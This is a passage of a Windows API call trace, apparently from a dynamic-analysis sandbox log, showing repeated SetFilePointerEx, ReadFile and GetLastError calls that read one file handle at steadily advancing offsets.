SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.994] GetLastError () returned 0x0 [0068.994] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.994] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a2, lpOverlapped=0x0) returned 1 [0068.994] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.994] GetLastError () returned 0x0 [0068.994] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.994] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x49a, lpOverlapped=0x0) returned 1 [0068.994] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.994] GetLastError () returned 0x0 [0068.995] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.995] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x492, lpOverlapped=0x0) returned 1 [0068.995] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.995] GetLastError () returned 0x0 [0068.995] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.995] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x48a, lpOverlapped=0x0) returned 1 [0068.995] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.995] GetLastError () returned 0x0 [0068.995] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.995] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x482, lpOverlapped=0x0) returned 1 [0068.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.996] GetLastError () returned 0x0 [0068.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.996] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x47a, lpOverlapped=0x0) returned 1 [0068.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.996] GetLastError () returned 0x0 [0068.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.996] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x472, lpOverlapped=0x0) returned 1 [0068.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.996] GetLastError () returned 0x0 [0068.996] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.997] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x46a, lpOverlapped=0x0) returned 1 [0068.997] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.997] GetLastError () returned 0x0 [0068.997] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.997] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x462, lpOverlapped=0x0) returned 1 [0068.997] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.997] GetLastError () returned 0x0 [0068.997] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.997] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x45a, lpOverlapped=0x0) returned 1 [0068.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.998] GetLastError () returned 0x0 [0068.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.998] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x452, lpOverlapped=0x0) returned 1 [0068.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.998] GetLastError () returned 0x0 [0068.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.998] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x44a, lpOverlapped=0x0) returned 1 [0068.998] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.998] GetLastError () returned 0x0 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x442, lpOverlapped=0x0) returned 1 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] GetLastError () returned 0x0 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x43a, lpOverlapped=0x0) returned 1 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x432, lpOverlapped=0x0) returned 1 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0068.999] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x42a, lpOverlapped=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x422, lpOverlapped=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x41a, lpOverlapped=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x412, lpOverlapped=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x40a, lpOverlapped=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.000] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x402, lpOverlapped=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3fa, lpOverlapped=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f2, lpOverlapped=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ea, lpOverlapped=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.001] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e2, lpOverlapped=0x0) returned 1 [0069.001] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3da, lpOverlapped=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d2, lpOverlapped=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ca, lpOverlapped=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3c2, lpOverlapped=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.002] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ba, lpOverlapped=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3b2, lpOverlapped=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1f8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3aa, lpOverlapped=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x200, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3a2, lpOverlapped=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x208, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x39a, lpOverlapped=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x210, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.003] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x392, lpOverlapped=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x218, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x38a, lpOverlapped=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x220, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x382, lpOverlapped=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x37a, lpOverlapped=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x372, lpOverlapped=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x238, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.004] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x36a, lpOverlapped=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x240, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x362, lpOverlapped=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x248, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x35a, lpOverlapped=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x250, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x352, lpOverlapped=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x258, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x34a, lpOverlapped=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x260, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.005] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x268, 